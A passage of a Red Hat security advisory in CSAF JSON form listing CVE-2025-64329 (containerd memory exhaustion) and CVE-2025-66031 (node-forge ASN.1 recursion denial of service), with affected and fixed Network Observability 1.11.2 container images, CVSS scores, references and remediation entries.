"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-64329"
},
{
"category": "external",
"summary": "RHBZ#2413299",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413299"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-64329",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-64329",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64329"
},
{
"category": "external",
"summary": "https://github.com/containerd/containerd/commit/083b53cd6f19b5de7717b0ce92c11bdf95e612df",
"url": "https://github.com/containerd/containerd/commit/083b53cd6f19b5de7717b0ce92c11bdf95e612df"
},
{
"category": "external",
"summary": "https://github.com/containerd/containerd/security/advisories/GHSA-m6hq-p25p-ffr2",
"url": "https://github.com/containerd/containerd/security/advisories/GHSA-m6hq-p25p-ffr2"
}
],
"release_date": "2025-11-07T04:15:09.381000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "github.com/containerd/containerd: containerd: Memory exhaustion via CRI Attach implementation goroutine leaks"
},
{
"cve": "CVE-2025-66031",
"cwe": {
"id": "CWE-674",
"name": "Uncontrolled Recursion"
},
"discovery_date": "2025-11-26T23:01:36.363253+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2417397"
}
],
"notes": [
{
"category": "description",
"text": "An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-forge: node-forge ASN.1 Unbounded Recursion",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-66031"
},
{
"category": "external",
"summary": "RHBZ#2417397",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2417397"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-66031",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66031"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-66031",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66031"
},
{
"category": "external",
"summary": "https://github.com/digitalbazaar/forge/commit/260425c6167a38aae038697132483b5517b26451",
"url": "https://github.com/digitalbazaar/forge/commit/260425c6167a38aae038697132483b5517b26451"
},
{
"category": "external",
"summary": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-554w-wpv2-vw27"
}
],
"release_date": "2025-11-26T22:23:26.013000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
